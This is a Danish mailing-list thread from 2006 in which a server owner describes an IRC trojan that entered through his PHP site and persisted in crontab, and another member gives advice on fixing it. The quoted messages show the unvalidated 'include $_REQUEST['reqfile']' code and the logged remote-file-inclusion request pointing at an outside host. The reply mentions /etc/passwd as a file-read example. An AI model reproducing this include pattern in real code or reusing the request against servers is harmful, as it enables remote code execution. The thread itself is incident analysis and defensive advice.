Re: SV: Trojan attack mod min server

Hej Torben,

Ikke så meget med dit spørgsmål, men hvis du ønsker at kunne inkludere en fil via en GET parameter, så sørg altid for at validere brugerens input. Gør f.eks. så de kun kan inkludere filer fra en bestemt mappe, samt at de skl have en bestemt endelse f.eks. .php, dvs, hvis brugeren havde sat reqfile til foo ville følgende fil blive inkluderet /sti/til/din/mappe/foo.php.

Hvordan ville det ikke være hvis reqfile var sat til /etc/passwd

I php.ini kan du også sætte at den ikke må åbne URLs.

/Mads

Torben Schou Jensen wrote:

> Min index.php var kodet til at lave PHP include af den fil der angives i
> reqfile:
> if ($_REQUEST['reqfile']<>"") {
>                include $_REQUEST['reqfile'];
>                exit;
> }
>
>
> Mit gæt er at nogen via dette har kunne udføre noget kode i PHP fra
> 291.133.46.212, normalt ville reqfile indeholde navnet på en fil på egen
> min server, men nogen har været kreativ og fodret den med en http adresse.
>
> GET /%7Etsj/fun/index.php?reqfile=http://219.133.46.212/admin/html/bar?
>
> Mvh
> Torben
>
>   
>> Efter at have læst på din side, er jeg ret nysgerrig I, hvad du har haft
>> liggende I din index.php som har gjort, at han kunne downloade og
>> eksekvere
>> den fil der angives?
>>
>>
>> Med venlig hilsen
>> Andreas Krüger
>>
>> -----Oprindelig meddelelse-----
>> Fra: Torben Schou Jensen [mailto:[email protected]]
>> Sendt: 17. maj 2006 20:18
>> Til: [email protected]
>> Emne: Trojan attack mod min server
>>
>> Mandag aften opdager jeg tilfældigt via ntop en IP adresse der er fast
>> koblet op på min server, og det er ikke HTTP trafik, men mystisk stabil
>> trafik i små pakker mod port 2343.
>>
>> Ved nærmere undersøgelse viser det sig at være en såkaldt IRC trojan der i
>> slutningen af december 2005 er sluppet ind på min server via et PHP hul og
>> har bidt sig fast i crontab.
>>
>> Læs mere på http://swampthing.dk/attack1/
>>
>> PHP hullet er nu lukket og trojan er fjernet, men jeg tænker nu over hvad
>> det hul kan have været brugt til, kan nemlig ikke finde ret meget info om
>> sådan noget på google???
>>
>> Mvh
>> Torben
>>
>>
>>
>> --
>> To UNSUBSCRIBE, email to [email protected]
>> with a subject of "unsubscribe". Trouble? Contact
>> [email protected]
>>
>>
>>     
>
>
>   

-- 

Mads N. Vestergaard   |  Standard Sys Admin Answer #112: 
http://rwxr-xr-x.dk   |   "Well, it works for me."